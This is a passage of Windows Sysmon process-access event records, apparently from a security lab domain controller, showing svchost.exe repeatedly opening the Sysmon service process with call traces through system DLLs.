C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1292,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1293,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1294,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1295,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1296,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1297,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1298,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1299,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 